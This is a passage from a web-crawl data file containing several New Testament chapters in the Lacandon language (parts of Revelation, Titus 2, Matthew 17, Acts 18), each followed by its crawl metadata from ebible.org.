mac a ju ts'urirob, a robob a cuatro yʌjmasirob u t'ʌn C'uj, robob caj u c'ʌnob u yʌrʌc' tsimin quir u quinsicob mac. Caj in wu'yaj mun caj u xacobi', caj in wu'yaj yʌn doscientos millones. Bayuc caj in wu'yaj uch.\n17 Caj in wʌyʌc'taj a rayo', caj in wiraj a mac cʌpa'an tu pach u yʌrʌc' tsiminob, bayiri' caj in wiraj biquira' u yʌrʌc' tsiminob. A mac a cʌpa'an tu pach a tsiminob yʌn u noc' a cu buquintic mac wa ber cu bin quinsbirob mac. Chen robob u noc' cu rembaj irej c'ac'. U jer jun xot' u noc' yʌn c'ʌn, u jer jun xot' u noc' yʌn bara'an chʌc. Robob u tsiminob a tu cʌpa'anob tu pachob, robob yʌn u jo'r an ten bic u jo'r barum. Tin wiraj u job c'ac' tu chi'ob yejer u buts'ir. Caj in wu'y u chuj c'ac' ich u chi' tsiminobo' xan.\n18 Raji' caj u quinsa mac a cʌpa'an tu pachob a ju yʌrʌc' tsiminobo'. Jun xot' a mac ti' yʌn ich yoc'ocab caj quinsa'b, quire' a cu joc'ar tu ni'ob u yʌrʌc' tsimin c'ac' yejer u chi', raji' c'ac' yejer u buts'ir yejer u job c'ac'.\n19 A tsimino' c'ucha'an yorob u ts'ic muc'yajob mac yejer u nej xan. Mʌ' ja wirej, caj in wiraj yʌn chan can tu nej a tsimino', chen a cano' yʌn ya'ab u jo'rob. Rajen quinsa'b ya'ab mac quire' a ba' cu tar tu chi' a tsimino', yejer a mac chi'bir ten can ten u nej a tsimino'.\n20 A mac a p'atob, a mac a mʌ' quinsa'b ten yajirir a yʌrʌc' tsiminobo', robob mʌ' ju tucrob tu yorob u c'axic u yorob ca' u pʌtob u tus c'uj a cu c'ujinticob, cax wa beta'b u mascabir oro, cax u tus c'uj beta'b u mascabir sʌc taq'uin, cax wa beta'b u mascabir chʌc taq'uin, cax u tus c'uj beta'b tunich, cax u tus c'uj beta'b che'. Mʌ' ja wirej, robob u tus c'ujob mʌ' ju joc'ar u t'ʌn, mʌ' ju yire ba', mʌ' ju ximbar xan, mʌ' ju p'ʌtob u c'ujinticob u quisinin u winiquirob a quisino'.\n21 Robob, a mac p'atob a mʌ' quinsa'b ten a cu tar tu chi' a tsiminobo' baxuc tu nej a tsiminobo', robob mʌ' ju c'axob tu yorob tan u p'ʌticob u c'asirob quire' tu quinsob mac uch, mʌ' ju p'ʌtob u c'ʌyicob u bʌj. Mʌ' ju c'axob tu yorob tan u p'ʌticob u c'asirob quire' cu manob, mʌ' ju c'axob tu yorob tan u p'ʌticob u c'asirob quire' cu ya'crob ba' uch.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/RV9.html","date":"2022-07-07T11:10:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104690785.95\/warc\/CC-MAIN-20220707093848-20220707123848-00702.warc.gz","language":"lac","language_score":1.0000023842,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.000002384185791}","num_words":1231,"character_repetition_ratio":0.071,"word_repetition_ratio":0.02,"special_characters_ratio":0.309,"stopwords_ratio":0.503,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2\nBic tabar u qui' camsic ti'ob u t'ʌn C'uj\n1 Barej a techo' Tito, Camsej ti'ob a jach quet yejer u t'ʌn C'uj. Rajra' ca' a camsej ti'ob, a quet yejer u t'ʌn C'uj.\n2 Toc chich arej ti'ob a nuxibe'. Mʌ' tsoy u carchʌjʌrob. Arej ti' a nuxibo' soc u manob tu tsoyir. Arej ti'ob soc mʌ' u chejticob u rac'ob. Arej ti'ob ca' u qui' acsob tu yorob u t'ʌn C'uj. Arej ti'ob ca' u yajquintob u rac'ob a nuxibe'. Arej ti'ob soc u cʌnicob nemʌ' bicob. Cax mac cu chuquicob u pachob a nuxibe', quij.\n3 Arej ti'ob xan, a xquico', a nuxibe' ca' manacob tu tsoyir, soc yer u rac'ob tu yacsob tu yorob. Quire' cu yiricob mʌ' tan u manob tu c'asir. Arej ti'ob Tito, soc mʌ' u manob u pʌc'ob u pach mac, a nuxibe' a xquico'. Arej ti'ob soc mʌ' u carchʌjʌrob, a xquique' a nuxibe'. Ca' manacob tu tsoyir soc u cʌnicob chan xquic, u manob tu tsoyir.\n4 Arej ti'ob Tito, soc u camsicob ti' xquic, a chichane', ca' u cʌnob u yajquinticob u mam. Ca' u qui' cʌnob u qui' yajquinticob u parar, a xquic a chichane'.\n5 Soc mʌna' mac cu bin u p'asticob u t'ʌn C'uj. Arej ti'ob, a xquic a nuxibe', ca' u camsob a xquic a chichane' soc mʌ' seb cu p'ujur u yorob, a chichan xquique'. Arej ti'ob ca' u camsob ti', ca' u cʌnantob u bʌj soc mʌ' u yacsicob tu si'pirob. Arej ti'ob ca' u camsob u qui' jansicob u mam tan u qui' misticob yatoch soc mʌ' rob yatoch. Arej ti'ob, a xquique' a nuxibe', ca' u camsob a chan xquic soc u yamticob u rac'ob. Arej ti'ob ca' u camsob ti', soc u qui' u'yicob u t'ʌn u mam.\n6 Arej ti'ob, a chichan xib xan, soc mʌ' seb cu p'ujur yorob.\n7 A techo', Tito, t'ajquint a bʌj soc u cʌniquechob a chichan xib. Soc u qui' cʌniquechob a ba' ca betic tu cotore', tu ca camsic ti'ob. Ca' a qui' camsej soc tsoy yiricob a wor Tito, quire' ca qui' camsic ti'ob soc yiricob taj ca camsic ti'ob. Soc u sʌjtiquechob Tito a rac'ob.\n8 Tu ca camsic ti'ob, Tito, a mac cʌja'an ich u petenin c'ac'nab Creta. Qui' irej, Tito, soc yerob taj ca camsic. Soc mʌna' mac cu bin u pʌq'uicob a pach, Tito. Cax cu p'astico'on Tito, a wer taj a ba' ca camsic, rajen a mac a cu p'astico'on, Tito, je' u pʌyicob u su'tarob tech yejeren, quire' taj quij camsicob.\n9 A mac cu c'anan ca' beyanʌc ca' a camsej ti'ob, Tito, soc u qui' u'yicob u t'ʌn u jach ts'urir, cax a ba' c'ata'b ti'ob ten u jach ts'urir. Arej ti'ob ca' u qui'quintob yor u jach ts'urir tu cu beyajob. Arej ti'ob soc mʌ' u nunquicob u t'ʌn u jach ts'urir. Arej ti'ob, Tito, a cu c'ananob tu beyajob ten u jach ts'urir.\n10 Arej ti'ob, mʌ' u yʌn ac'ricob u ba'tac u jach ts'urir. Arej ti'ob soc rajra' chich u beyajob soc yerob u jach ts'urir je' u quibicob u beyajob. Rajen ca' u toc betej an ten bic tin wa'araj soc u jer a cu yiricob bin u ca' ya'arob: \"Jach tsoy u t'ʌn C'uj\", quire' yerob tu yacsob tu yorob ti' ij cʌjtaquir.\n11 Mʌ' ja wirej, a C'ujo' caj u yesato'on bic tabar u yajquintico'onex. Jach manan cu yajquitico'onex quire' tu tuchi't u parar ca' u taco'onex wa quij cacsiquex tij corex u t'ʌn Jaj Ts'ur.\n12 A baywo' C'uj tan u camsico'onex Tito ca' ic yʌn p'ʌt a ba' c'asir, a tic betex uch. Ca' ic p'ʌtex a ba' c'asir cu tar to'onex a ba' quic pachtiquex tij corex soc mʌ' seb quic p'usic ij corex. Soc ca' manaco'onex tu tsoyir ich yoc'ocab. Soc ca' ij qui' c'ujintex C'uj baje'rer xan.\n13 Quire' tan ic pajiquex u q'uinin quir u tar ij cʌjtaquirex Jesucristo. Mʌ' ja wirej, a ti' cu tar ich ca'anan, jach manan tsoy ca' bin uruc ic Jaj Ts'urirex Jesucristo. Quire' jach carem ij C'ujex jach tsoy ij cu'wiquex yur ca'anan Tito.\n14 Mʌ' ja wirej, a Jesúso', u bʌjiri' tu c'ubaj u bʌj ca' bajʌc ich cruz. Quir u rʌc bo'otic tu cotor u bo'orir ic si'pirex rajen quinsa'b. Rajen tu tacato'onex Jesús ti' ij c'asirex soc raji' yʌnino'onex. Caj u rʌc jawsaj ic si'pirex. Cax tu cotor u c'asir a tic betex uch soc ic manex tu tsoyir. Soc sac'oro'onex ca' ic yamtex ic rac'ob.\n15 Tito, quen, baxuc xan ca' a camse ti' a wet acsʌ'orirex. Ca' a chichquint u yorob soc u cʌnicob. Ca' a chich arej ti'ob soc yerob tu tetech C'uj quir a camsic ti'ob. Soc mʌ' a cha'ic u p'astiquechob, Tito.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/TT2.html","date":"2022-06-29T19:31:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103642979.38\/warc\/CC-MAIN-20220629180939-20220629210939-00705.warc.gz","language":"lac","language_score":0.9999890327,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 0.9999890327453613}","num_words":779,"character_repetition_ratio":0.089,"word_repetition_ratio":0.0,"special_characters_ratio":0.291,"stopwords_ratio":0.412,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"17\nCaj waysa'b Jesús ʌcʌtan ich u camsʌwinicob\n(Mr. 9.2‑13; Lc. 9.28‑36)\n1 Ti' yʌn uch Jesús ich u cajar Cesarea de Filipo tu caj u camsej ti'ob u camsʌwinicob. Caj manij seis u q'uinin Jesús caj u pʌyaj Pedro yejer Juan yejer Jacobo. U bʌjob Jacobo, Juan. Caj binob ich u jo'r wits tu ca'anan u jo'r wits. Caj binij Jesús yejer u camsʌwinicob mʌ' ya'ab. Mʌna' u nup.\n2 Ʌcʌtan u camsʌwinicob caj waysa'b Jesús. Caj waysa'b u sasirir u wich Jesús, irej u sasirir ic yum q'uin. Baxuc u jach cha'aj u noc', irej u sasirir ic yum.\n3 Seb caj irir ix ba' Moisés yejer ix ba' Elías ten u camsʌwinicob. Caj tsicbanʌjob yejer Jesús, caj ir ten u camsʌwinicob Jesús.\n4 Pedro caj u t'ʌnaj Jesús:\n―Jaj Ts'urir ―quij―. Jach tsoy te' yʌno'ona' tera'. Arej in chan tʌsej paser. U tiriri' tech. U tiriri' ti' Moisés. U turiri' ti' Elías.\n5 Caj u yub u t'ʌn C'uj Pedro ca'anan. Caj yiraj u tar u muyarir, jach sʌc t'ina'an, rʌc bʌcrista'b tu cotor. Caj yubaj u t'ʌn ich u muyarir. Caj yubaj ya'aric Pedro:\n―A je' in jach parar, in jach yaj. Jach qui' in wor. Ca' a u'yex u t'ʌn.\nTi' toy cu t'ʌn Pedro yejer Jesús caj yir u tar u muyarir.\n6 Caj ts'oc yubic u t'ʌn ich u muyarir u camsʌwinicob Jesús, caj rʌc nacrʌjob ich ru'um. Jach jaq'uij yorob.\n7 Jesús caj u juts' u bʌj ichob u camsʌwinicob. Caj u tʌraj ti'ob soc yerob ti' yʌn Jesús. Caj ya'araj ti'ob:\n―Riq'uenex mʌ' a ch'ic sajaq'uirex.\n8 Caj ric'ob u camsʌwinicob Jesús caj yirob mʌna' ix ba' Moisés, bayiri' ix ba' Elías. Mʌna' mac chen Jesús tu junan.\n9 Cu yemenob ich u jo'r p'uc wits. Jesús caj u toc t'ʌnaj u camsʌwinicob soc mʌ' ya'aricob wa yirob ix ba' Moisés yejer ix ba' Elías, cax a ba' yubmʌnob xan, hasta in ca' riq'uir ca' bin quimiquen, a teno' a mac tar u yamtic mac tu cotor. Jeroj arex a ba' caj a wirex.\n10 Caj u c'atajob u camsʌwinicob ti' Jesús:\n―Quire' tech caj a wa'araj to'on. Mʌ' a yʌn bin a wa'arex wa caj in wirob ix ba' Elías yejer ix ba' Moisés. Biquinin cu ya'aric yʌjcamsʌyʌjirob u t'ʌn Moisés: \"Raji' cu yʌn bin tar ix ba' Elías, pachir cu tar a Cristojo\"?\n11 Caj u nuncaj ti'ob Jesús:\n―Taj ―quij Jesús―. Ix ba' Elías cu yʌn bin tar uch quir u pʌyic u ber Cristo soc u c'axicob yorob, soc u rʌc p'ʌticob c'as u winiquirob judío.\n12 A teno', ―quij Jesús―, quin wa'aric techex, toc tarij Elías chen mʌ' u c'ʌ'otajob Elías. Mʌ' tu yacsajob ti', caj quinsa'b ti', quire' baxuc u c'atob a mac caj u chucajob ti'. Baxuc a teno' ―quij Jesús―, quin bin in muc'yaj ca' bin u chuquenob xan.\n13 U camsʌwinicob caj yubob ba' ya'araj Jesús caj u jach najtajob raji' Juan cu tsicbʌtic Jesús. Ra' Juan a cu yacsic ja' tu jo'r mac.\nJesús caj u jawsaj chan xib a cu yʌn saj quimin\n(Mr. 9.14‑29; Lc. 9.37‑43)\n14 Caj urob Jesús ich u jo'r ca'anan wits. Caj c'uchij tu yʌnob a pimo'. Caj u juts u bʌj turi' xib ich tu yʌn Jesús. Caj xonrʌj ʌcʌtan ich Jesús.\n15 Caj ya'araj:\n―Jaj Ts'urir ―quij―. Ca' yajquintej in parar. Yamtej ti', cu sʌj quimin. Tiri' cu rʌc rubur ich ja'. Cu jach muc'yaj.\n16 Caj tar in puric ich a camsʌwinicob mʌ' tu jawsajobi'. A camsʌwinicob, mʌ' c'ucha'an yorob u jawsej.\n17 Caj ya'araj Jesús ti':\n―A techexo', a mac cuxa'an tu q'uinin baje'rer, mʌ' ca wacsiquex ta worex. Mʌ' ca quibiquex in t'ʌn. Mʌ' ya'ab u q'uinin ti' yʌnen tu yʌnechex. Arex mun u q'uinin quin muc'tic techex quire' mʌ' a quibex in t'ʌn. Arex ca' tac purbir chan xib tera'.\n18 Jesús caj u joc'saj c'ac'as quisin. Caj u q'ueyaj. Ra'iri' u q'uinin caj toc jaw chan xib.\n19 Caj tarob u camsʌwinicob yicnʌn Jesús caj tsicbanʌjob yejer Jesús, quire' rʌc binob a pimo'. Caj c'ata'bi ti':\n―Biquinin a tenobe' mʌ' c'ucha'an in worob in joc'sicob quisin?\n20 Caj ya'araj Jesús ti'ob.\n―Mʌ' ca wacsiquex ta worex, rajen mʌ' c'ucha'an a worex a joc'sex. Taj quin wa'ariquex tech, an ten bic yijir u wich mostaza. Mʌ' ja wirej, jach mijin. Wa bayiri' ca wacsiquex ta worex, cax an ten bic mijin u yijir mostaza, cax a ba' cu tar techex c'ucha'an a worex ti'. C'ucha'an a worex ti' tu cotor ba' wa ca wacsiquex ta worex ti' ten.\n21 A je' quisin caj in joc'sajo' juntur quisin. Chen a techexo' ca' a t'ʌnex C'uj. Bayiri' ca' a p'ʌtex a janʌnex soc c'ucha'an a worex a joc'siquex.\nBin in ca' quimin\n(Mr. 9.30‑32; Lc. 9.43‑45)\n22 Ti' cu manob Jesús yejer u camsʌwinicob ich u ru'umin Galilea. Jesús caj ya'araj:\n23 ―A teno' bin in ca' quinsbir. Cu yʌn tarob u chuquiquenob mac quir in quinsa'. Ca' bin mʌnac mʌna' u nup u q'uinin je' in ca' riq'uire'.\nCaj yubob ya'aric Jesús caj jach tucra'b Jesús ten u camsʌwinicob.\nCu bo'otic u bo'orir tu cu yocar u c'ujinticob C'uj u winiquirob judío ich carem naj\n24 Caj c'uchob Jesús yejerob u camsʌwinicob ich u cajar Capernaum. Caj tar yʌjc'ʌmin u taq'uin tu cu naj c'ujinticob C'uj u winiquirob judío. Caj bin ich Pedro caj c'ata'b ti' Pedro:\n―Cu bo'otic wa ja wʌjcamsʌyʌjir tu cu yocar ich carem naj tu cu naj c'ujinticob C'uj u winiquirob judío?\n25 Caj nuncaj Pedro:\n―Cu bo'otic u bo'orir tu cu yocar.\nCaj ts'oc u ya'aric aro', caj oc ich yatoch tu yʌn Jesús. Caj u yʌn t'ʌnaj Pedro, Jesús. Caj c'ata'b ti' Pedro ten Jesús:\n―Ba' ca tucric tech Pedro. A mac a cu tar nach yʌn u c'atic u bo'orir ten gobierno. A mac a tiri' cʌja'an mʌ' u c'ata'r u bo'orir?\n26 Caj ya'araj Pedro:\n―Ra' cu c'atic u bo'orir a mac nach u tar.\nCaj ya'araj Jesús:\n―Rajen cax mʌ' in bo'otic tu cu yocar u naj c'ujinticob C'uj u winiquirob judío.\n27 Caj ara'b ten Jesús ti' Pedro:\n―Soc mʌ' u pʌq'uicob in pach soc mʌ' ya'aric caj in p'astaj carem naj tu cu naj c'ujinticob C'uj u winiquirob judío. Joq'uen xen ich chi'c'ac'nab joq'uen rutsej cʌy. A ca yʌn rutsique' jʌp u chi' a wirej wa yʌn u taq'uin. Ra' soc quir a bo'otic quir ij cocar carem naj tu cu naj c'ujinticob C'uj u winiquirob judío. Joq'uen a bo'otej ti'ob.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/MT17.html","date":"2022-06-30T06:54:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103669266.42\/warc\/CC-MAIN-20220630062154-20220630092154-00530.warc.gz","language":"lac","language_score":1.0000014305,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000014305114746}","num_words":1048,"character_repetition_ratio":0.083,"word_repetition_ratio":0.005,"special_characters_ratio":0.289,"stopwords_ratio":0.479,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"18\nPablo ich u cajar Corinto\n1 Caj ts'oc u tsec'tic u t'ʌn C'uj ich a mac a ti' yʌnob ich Areópago, caj ruq'uij Pablo ich u cajar Atenas caj bin ich u cajar Corinto.\n2 Tiri' Pablo caj u nup'aj u yet winiquirob judío Aquila, yejer u rac' Priscila. Tar u tarob ich u ru'umin Ponto. Tan tu c'uchurob ich u cajar Corinto ti' u ru'umin Italia, quire' rʌc joc'sa'b tu cotor u winiquirob judío ten a reyo', u c'aba' Claudio. Raji' caj u ya'araj ca' rʌc joc'acob ti' u cajar Roma. A Pablojo', bin yirej Aquila yejer u rac' Priscila.\n3 Quire' yʌjchuyirob u noq'uir naj. Mʌ' ja wirej, ra' u beyaj Pablo xan. Rajen tiri' p'atij Pablo soc p'eri'ob u beyajob. Robob cu canicob u noq'uir naj quir u jaricob u taq'uinob.\n4 Rajra' cu c'uchur tu q'uinin cu jesicob u bʌj u winiquirob judío cu bin Pablo ich u chan najir tu cu naj c'ujinticob C'uj u winiquirob judío. Tiri' tsicbanʌjij Pablo yejer u winiquirob judío, bayiri' yejer a mac u winiquirob griego, caj u ya'araj ti'ob ca' yacsej yorob u t'ʌn Jesús. Mʌ' ja wirej, raji' u c'at u yesic a ba' taji', a ba' raji' cu tsicbʌtic Jesucristo.\n5 Barej caj c'uchob Silas yejer Timoteo. Mʌ' ja wirej, ti' p'atob ich u ru'umin Macedonia uch, rajen ti' u tarob ich u ru'umin Macedonia. Robob caj u yirajob bic a Pablojo' ts'ajan yor u tsec'tic u t'ʌn Jesús ich u winiquirob judío. Mʌ' ja wirej, caj u camsaj u winiquirob judío wa Jesús, raji' jach taj Cristo a cu pajicob u winiquirob israel.\n6 Chen ts'iquinta'b Pablo ten u yet winiquirob judío, caj c'am nunca'b u t'ʌnob Pablo. Rajen Pablo u bʌjiri' u noc' caj u titaj, soc u najticob u yet winiquirob judío soc yerob bin u ca' p'ʌtbirob tu junan. Mʌ' ja wirej, mʌ' ju c'ʌmajob u t'ʌn C'uj, rajen Pablo caj u ya'araj:\n―Wa cu satʌr a pixamex a bʌjiri'ex a si'pirexe'. Mʌ' a yʌn pʌq'uiquex in pach ―quij Pablo―. Baje'rer bin in ca' in tsec'tej u t'ʌn C'uj ich a mʌ' u winiquirob judío.\n7 Caj ruq'uij tu chan najir tu cu naj c'ujinticob C'uj a ray u winiquirob judío, caj bin ich yatoch Justo. Raji' cu c'ujintic C'uj. Ti' yʌn yatoch Justo ca'rac' yejer u chan najir tu cu naj c'ujinticob C'uj u winiquirob judío.\n8 U jach ts'urir u chan naj tu cu naj c'ujinticob C'uj u winiquirob judío. Raji' caj u yacsaj tu yor u t'ʌn Jesús. Crispo u c'aba'. Bayiri' xan, tu cotor mac tu yatoch Crispo caj u yacsajob tu yorob u t'ʌn Jesús xan. Bayiri' xan, ya'ab u winiquirob corintio caj ts'oc u yubicob u t'ʌn Jaj Ts'ur caj u yacsajob tu yorob, jeroj caj acsa'b ja' tu jo'rob xan.\n9 Caj ara'b ti' Pablo ten Jaj Ts'ur ich u wʌyac':\n―Mʌ' u jac'ʌr a wor a tsec'tej. Mʌ' u xur a bin a tsec'tej.\n10 Quire' ti' yʌnen yejerech quir in cʌnantiquech. Mʌna' mac cu bin u chuquiquech u quinsech quire' ya'ab cʌja'an ich u cajar Corinto bin u ca' u yacsob tu yorob in t'ʌn ―baxuc ara'b ti' Pablo ten Jaj Ts'ur.\n11 Rajen tiri' p'atij Pablo ich u cajar Corinto. Ti' p'atij turiri' yaxq'uin caj tar u jer chumuc yaxq'uin. Raji' caj u camsaj ti'ob a ba' ara'b ten C'uj.\n12 Ra' u q'uinin ti' toy yʌn u gobernador Galión u ru'umin Acaya. Yʌn jun yarob u winiquirob judío, caj u much'quintob u bʌj quir u chuquicob Pablo. Robob caj u chucajob Pablo, caj bin purbirob ich juez quir u tocar u jo'r Pablo.\n13 Caj ara'b ten u winiquirob judío ti' a juezo':\n―A je' xiba', cu camsic ca' ij c'ujintex C'uj chen mʌ' baxuc caj camsa'bo'onex ten u rey César.\n14 Pablo u c'at u nunquic, chen tu yʌn araj a juezo' ti' u winiquirob judío:\n―U'yex ba' quin wa'aric techex u winiquirechex judío. Wa yʌn u si'pir wa jach c'as caj u betaj, jeroj je' in wu'yiquex a t'ʌnexe' u winiquirechex judío.\n15 Chen mʌ' baxuco', jach ts'iquechex, quire' a ba' camsa'bechex a je' xiba'. Rajen jach ts'iquechex quire' a ba' camsa'bechex ten a nunquirex yejer a ba' ara'b ten ich u t'ʌn a nunquirex xan. A teno' ―quij juez―, mʌ' jin wa'araj wa yʌn u si'pir wa mʌna' u si'pir. A bʌjiri'ex ca bin a sisquintex a worex. Jot.\n16 Caj tuchi'ta'b ca' xicob u winiquirob judío. Caj joc'sa'bob tancab ca' xicob.\n17 Barej caj joc'sa'bob ten juez tu yʌnob uch, u winiquirob judío caj u chucajob Sóstenes. Ra' u c'aba' u jach ts'urir u chan najir tu cu naj c'ujinticob C'uj u winiquirob judío. Jeroj tune', caj u raxajob Sóstenes, cax ʌcʌtan juez caj rox. Mʌ' t'ʌnob ten a juezo' cax iric cu roxa'r Sóstenes.\nPablo u ca' bin ich u cajar Antioquía bayiri' xan, cu ca' chun u tsec'tic u t'ʌn C'uj ich u jer ru'um\n18 Caj ts'oc u roxa'r u jach ts'urir u chan najir tu cu naj c'ujinticob C'uj u winiquirob judío, ti' p'at Pablo ya'ab u q'uinin ich u cajar Corinto. Jeroj tune', caj u t'ʌnaj u yet acsa'rirob tan ya'aric bin u ca'. Yet binacob Aquila yejer u rac' Priscila, caj ocob ich chem quir u binob tu ru'umin Siria. Barej caj c'uchij ich u jor u chemir u c'aba' Cencrea, caj c'os u jo'r Pablo soc u yesic nup'ij a ba' caj u toc araj Pablo ti' C'uj uch soc C'uj cu yiric.\n19 Barej caj c'uchob ich u cajar Efeso, caj p'at Aquila yejer u rac' Priscila, jeroj tune', caj bin Pablo tu yʌn u chan najir tu cu naj c'ujinticob C'uj u winiquirob judío, quire' ti' yʌn much'a'anob u winiquirob judío. Tiri' tsicbanʌjij Pablo yejerob.\n20 U yet acsa'orirob, a ti' yʌnob caj u chich c'atajob ca' p'atʌc Pablo yejerob ya'ab u q'uinin. Chen Pablo caj u ma'quintaj mʌ' ju p'atar.\n21 Tabar u bin Pablo caj u ya'araj:\n―Bin in ca' ich u cajar Jerusalén soc ti' yʌnen tu q'uinin u qui'qui' janʌnob u winiquirob judío. Wa tsoy tu t'ʌn C'uj ―quij―, je' in wʌc'ʌs tar in wirechex ―quij.\nJeroj oquij ich chem caj u p'ʌtaj u cajar Efeso.\n22 Barej caj c'uchij ich u cajar Cesarea, caj bin ich u cajar Jerusalén, caj c'uchij caj oquij tu cu much'quinticob u bʌj a yacsmʌnob tu yorob caj t'ʌnob. Caj ts'oc u t'ʌnanob caj bin Pablo ich u cajar Antioquía.\n23 Caj ts'oc u p'atʌr ya'ab u q'uinin ich u cajar Antioquía, caj joq'uij Pablo quir u bin ich tu cotor u cajarob ich u ru'umin Galacia yejer u ru'umin Frigia cu chichquintic u yorob a mac a yacsmʌnob tu yorob u t'ʌn Jesús.\nApolos cu tsec'tic u t'ʌn C'uj ich u cajar Efeso\n24 Ti' yʌn turiri' u winiquir judío u c'aba' Apolos. Tar u tar uch ich u cajar Alejandría, quire' tiri' rocha'b ten u nʌ' Apolos. Turiri' u q'uinin caj c'uchij Apolos ich u cajar Efeso. Apolos u jach er u tsec'ta'r u t'ʌn C'uj, bayiri' xan, u jach qui' er tu ts'iba'an u t'ʌn C'uj.\n25 Toc camsa'b Apolos ti' u t'ʌn Jesús. Cu man u tsicbʌtic u t'ʌn Jesús, caj u tsec'taj u t'ʌn C'uj, quire' raji' cu tsicbar an ten bic mac yer tsicbar, jach qui' yor u tsicbar quire' u jach er tsicbar. Chen Apoloso', jari' yer bic acsa'b ja' tu jo'r mac ten Juan, yejer a ba' camsa'b ten Juan uch.\n26 Apolos caj u chich tsec'taj u t'ʌn C'uj ich u chan najir tu cu naj c'ujinticob C'uj u winiquirob judío. Mʌ' ju jac'ʌr u yor Apolos u tsec'tej. Caj ts'oc u yubicob u ts'ectic u t'ʌn C'uj Apolos. Aquila yejer Priscila caj u pʌyajob Apolos, quir u tsicbarob tu junanob, quir u qui' camsicob Apolos u t'ʌn C'uj quire' yʌn ba' mʌ' toy yubej Apolos.\n27 Apolos u c'at u bin ich u ru'umin Acaya, rajen u yet acsa'orirob caj u ya'araj u bin. Caj yamta'b Apolos ten u yet acsa'orirob ich u cajar Efeso. Robob caj u ts'ibtajob u ju'unin ti' u yet acsa'orirob ich u ru'umin Acaya soc u qui' acsa' Apolos. Caj c'uchij ich u ru'umin Acaya caj qui' yamta'b a yacsmʌnob tu yorob ten Apolos. Quire' robob caj u yacsajob tu yorob quire' jach tsoy caj beta'bob ten C'uj.\n28 Caj nunca'b u t'ʌn Apolos ten u winiquirob judío, chen mʌ' c'ucha'an u yorob u nunquicob u t'ʌn Apolos. Quire' cu tsicbʌtic ti'ob yejer u muc' C'uj, bayiri' xan, quire' u necʌnmʌn u t'ʌn C'uj, Apolos. Caj u ya'araj ti'ob a ba' ti' yʌn ts'iba'an ich u t'ʌn C'uj, soc yerob taj wa Jesús raji' teta'b ten C'uj, quir u tar ich yoc'ocab, rajen raji' Cristo a mac u winiquirob judío cu ya'aric Mesías.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/AC18.html","date":"2022-06-30T07:57:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103669266.42\/warc\/CC-MAIN-20220630062154-20220630092154-00534.warc.gz","language":"lac","language_score":1.0000029802,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000029802322388}","num_words":1431,"character_repetition_ratio":0.109,"word_repetition_ratio":0.014,"special_characters_ratio":0.274,"stopwords_ratio":0.474,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"8\nA ba' nich'a'an tu ju'unin, a sietejo', bayiri' u ba'inquiri' a raji' beta'b oro\n1 Caj in wʌyʌc'taj ich ca'anan caj in pʌctaj caj in wir u tʌmʌn yuc caj u rʌcaj a ba' nich'a'an tu ju'unin, ra' a sietejo'. Caj ts'oc u rʌquic a ba' nich'a'an tu ju'unin, rʌc ch'en a mac a cu c'ayob ca'ch. Jeroj mʌna' mac u t'ʌn hasta manij chumuc hora.\n2 Jeroj tune', caj in wiraj ich ʌcʌtan C'uj pim u yʌjmasirob u t'ʌn C'uj. Ich a ray yʌjmasirob u t'ʌn C'uj, yʌn siete a cu ch'ictarob ich ʌcʌtan C'uj. Caj ts'a'b ti'ob ten mac u mascabir quir u xuxupticob, aro' cu jum irej u bac wacax cu jum, ra' quir yer mac a ba' cu bin tar. Jujuntur yʌjmasirob u t'ʌn C'uj caj ts'a'b u macabir quir u xuxupticob. Yʌn siete ts'a'b ti'ob.\n3 Pachir caj tar u jer yʌjmasir u t'ʌn C'uj tune'. Raji' caj bin ch'ictar ʌcʌtan u cuchir tu cu naj tar mac quir u toquic a ba' qui' u boc ti' C'uj. A ra' cuchir a raji' beta'b oro xan. Raji', u yʌjmasir u t'ʌn C'uj u mʌchmʌn u chan cuchir quir u cuchic a qui' u boco' irej pom. Bayiri' xan, u chan cuchir a ju mʌchmʌn a raji' beta'b u mascabir oro. Toc ts'a'b ti' ya'ab a qui' u boque' irej pom quir u toquic tu cuchir a ti' yʌn ʌcʌtan ti' C'uj. Ra' caj u tocaj soc quet yejer u t'ʌn a mac a cu t'ʌnicob C'uj quet u binob. Robob a cu t'ʌnicob C'uj, robob u winiquirob C'uj. A ba' toca'b ti' ca'ch, ra' irej a ba' cu naj toquic tu cuchir a ti' yʌn ich u japnin, tu cu naj c'ujinticob C'uj u winiquirob israel. Chen aro' caj in wiraj, ti' yʌn ʌcʌtan tu cutan, a jach caremo'.\n4 U buts'ir a qui' u boque', a caj in wiraj, ra' irej u buts'ir pom cu nacʌr ich C'uj, a buts'o', cu nacʌr quet yejer a ba' t'ʌn cu t'ʌnicob u winiquirob C'uj, quij. Robob naquij ich C'uj. Ra' a qui' u boque' a irej pom caj toca'b ten yʌjmasir u t'ʌn C'uj.\n5 Caj bin u yʌjmasir u t'ʌn C'uj ich tu cu naj toquic a qui' u boque' quir u ts'ic ti' C'uj. Caj u cuchaj u chan mascabir, a raji' beta'b mascabir oro, a yʌn u qui'ir u boc a irej pom. Caj c'uchij ich u cuchir tu cu naj toquic a qui' u boque' 